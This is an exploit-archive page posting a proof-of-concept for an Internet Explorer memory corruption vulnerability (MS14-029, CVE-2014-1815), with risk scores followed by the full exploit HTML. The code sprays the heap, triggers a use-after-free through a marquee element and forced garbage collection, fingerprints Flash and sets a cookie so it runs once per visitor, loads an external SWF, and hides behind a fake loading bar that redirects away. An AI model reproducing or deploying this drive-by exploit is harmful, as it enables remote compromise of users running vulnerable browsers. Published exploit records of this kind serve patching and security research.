Internet Explorer MS14-029 Memory Corruption PoC

2014.08.29

Credit: PhysicalDrive0

Risk: High

Local: No

Remote: Yes

CVE: CVE-2014-1815

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

<!doctype html>
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<sc&#8203;ript >
func&#8203;tion stc()
{
var Then = new Date();
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString();
}
func&#8203;tion cid()
{
var swf = 0;
try {
swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash'); } catch (e) {
}
if (!swf)
return 0;
var cookieString = new String(document.cookie);
if(cookieString.indexOf("d93kaj3Nja3") == -1)
{stc(); return 1;}else{ return 0;}
}
String.prototype.repeat=func&#8203;tion (i){return new Array(isNaN(i)?1:++i).join(this);}
var tpx=un&#8203;escape ("%u1414%u1414").repeat(0x60/4-1);
var ll=new Array();
for (i=0;i<3333;i++)ll.push(document.create&#8203;Element("img"));
for(i=0;i<3333;i++) ll[i].className=tpx;
for(i=0;i<3333;i++) ll[i].className="";
CollectGarbage();
func&#8203;tion b2()
{
try{xdd.re&#8203;placeNode(document.createTextNode(" "));}catch(exception){}
try{xdd.outerText='';}catch(exception){}
CollectGarbage();
for(i=0;i<3333;i++) ll[i].className=tpx;
}
func&#8203;tion a1(){
if (!cid())
return;
document.body.contentEditable="true";
try{xdd.applyElement(document.create&#8203;Element("frameset"));}catch(exception){}
try{document.selection.createRange().select();}catch(exception){}
}
</ sc&#8203;ript >
</head>
<body onload='setTimeout("a1();",2000);' onresize=b2()>
<marquee id=xdd > </marquee>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1%" height="1%" id="FE">
<param name="movie" value="storm.swf" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
<param name="allowScriptAccess" value="sameDomain" />
<param name="allowFullScreen" value="true" />
</object>
</body>
<body>
<form name=loading>
&#161;&#161;<p align=center> <font color="#0066ff" size="2"> Loading....,Please Wait</font> <font color="#0066ff" size="2" face="verdana"> ...</font>
&#161;&#161;&#161;&#161;<input type=text name=chart size=46 style="font-family:verdana; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;">
&#161;&#161;&#161;&#161;
&#161;&#161;&#161;&#161;<input type=text name=percent size=47 style="color:#0066ff; text-align:center; border-width:medium; border-style:none;">
&#161;&#161;&#161;&#161;<sc&#8203;ript > &#161;&#161;
var bar=0&#161;&#161;
var line="||"&#161;&#161;
var amount="||"&#161;&#161;
count()&#161;&#161;
func&#8203;tion count(){&#161;&#161;
bar=bar+2&#161;&#161;
amount =amount + line&#161;&#161;
document.loading.chart.value=amount&#161;&#161;
document.loading.percent.value=bar+"%"&#161;&#161;
if (bar<99)&#161;&#161;
{setTimeout("count()",500);}&#161;&#161;
else&#161;&#161;
{window.location = "http://www.google.com.hk";}&#161;&#161;
}</ sc&#8203;ript >
&#161;&#161;</p>
</form>
<p align="center"> Wart,<a style="text-decoration: none" href="http://www.google.com.hk"> <font color="#FF0000"> kick me</font> </a> .</p>
</body>
</html>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Internet Explorer MS14-029 Memory Corruption PoC

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.